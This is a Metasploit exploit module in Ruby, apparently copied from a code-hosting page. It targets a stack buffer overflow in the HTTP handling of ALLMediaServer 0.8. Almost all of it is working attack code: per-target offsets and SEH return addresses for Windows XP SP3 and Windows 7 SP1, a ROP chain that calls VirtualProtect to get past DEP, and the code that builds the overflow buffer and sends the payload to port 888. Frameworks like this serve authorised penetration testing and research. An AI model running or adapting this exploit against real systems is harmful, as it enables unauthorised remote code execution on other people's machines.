133 lines
3.9 KiB
Ruby
133 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Msf::Exploit::Seh
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ALLMediaServer 0.8 Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability
|
|
is caused due to a boundary error within the handling of HTTP request.
|
|
|
|
While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't
|
|
reliable across virtual (VMWare, VirtualBox) and physical environments. Because of
|
|
this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default
|
|
DEP is OptIn and AllMediaServer won't run with DEP.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'motaz reda <motazkhodair[at]gmail.com>', # Original discovery
|
|
'modpr0be <tom[at]spentera.com>', # Metasploit module
|
|
'juan vazquez' # More improvement
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '83889' ],
|
|
[ 'EDB', '19625' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread', #none/process/thread/seh
|
|
},
|
|
'Platform' => 'win',
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "",
|
|
'Space' => 660,
|
|
'DisableNops' => true
|
|
},
|
|
|
|
'Targets' =>
|
|
[
|
|
[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',
|
|
{
|
|
'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll
|
|
'OffsetRop' => 696,
|
|
'jmp' => 264,
|
|
'Offset' => 1072
|
|
}
|
|
],
|
|
[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',
|
|
{
|
|
'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll
|
|
'Offset' => 1072
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => 'Jul 04 2012',
|
|
'DefaultTarget' => 1))
|
|
|
|
register_options([Opt::RPORT(888)], self.class)
|
|
|
|
end
|
|
|
|
def junk(n=1)
|
|
return [rand_text_alpha(4).unpack("L")[0]] * n
|
|
end
|
|
|
|
def nops(rop=false, n=1)
|
|
return rop ? [0x665a0aa1] * n : [0x90909090] * n
|
|
end
|
|
|
|
def asm(code)
|
|
Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string
|
|
end
|
|
|
|
def exploit
|
|
#with help from mona :)
|
|
rop = [
|
|
nops(true, 12), #ROP NOP
|
|
0x65f6faa7, # POP EAX # RETN
|
|
0x671ee4e0, # ptr to &VirtualProtect()
|
|
0x6ac1ccb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN
|
|
0x667ceedf, # PUSH EAX # POP ESI # POP EDI # RETN
|
|
junk,
|
|
0x65f5f09d, # POP EBP # RETN
|
|
0x65f9830d, # & call esp
|
|
0x6ac1c1d5, # POP EBX # RETN
|
|
0x00000600, # 0x00000320-> ebx
|
|
0x6672a1e2, # POP EDX # RETN
|
|
0x00000040, # 0x00000040-> edx
|
|
0x665a09df, # POP ECX # RETN
|
|
0x6ad58a3d, # &Writable location
|
|
0x6ac7a771, # POP EDI # RETN
|
|
nops(true), # RETN (ROP NOP)
|
|
0x6682f9f4, # POP EAX # RETN
|
|
nops, # nop
|
|
0x663dcbd2 # PUSHAD # RETN
|
|
].flatten.pack("V*")
|
|
|
|
connect
|
|
|
|
if target.name =~ /Windows 7/
|
|
buffer = rand_text(target['Offset'])
|
|
buffer << generate_seh_record(target.ret)
|
|
buffer << payload.encoded
|
|
else
|
|
buffer = rand_text(target['OffsetRop']) #junk
|
|
buffer << rop
|
|
buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload
|
|
buffer << rand_text(target['Offset'] - buffer.length)
|
|
buffer << generate_seh_record(target.ret)
|
|
buffer << payload.encoded
|
|
end
|
|
|
|
print_status("Sending payload to ALLMediaServer on #{target.name}...")
|
|
sock.put(buffer)
|
|
|
|
disconnect
|
|
|
|
end
|
|
end
|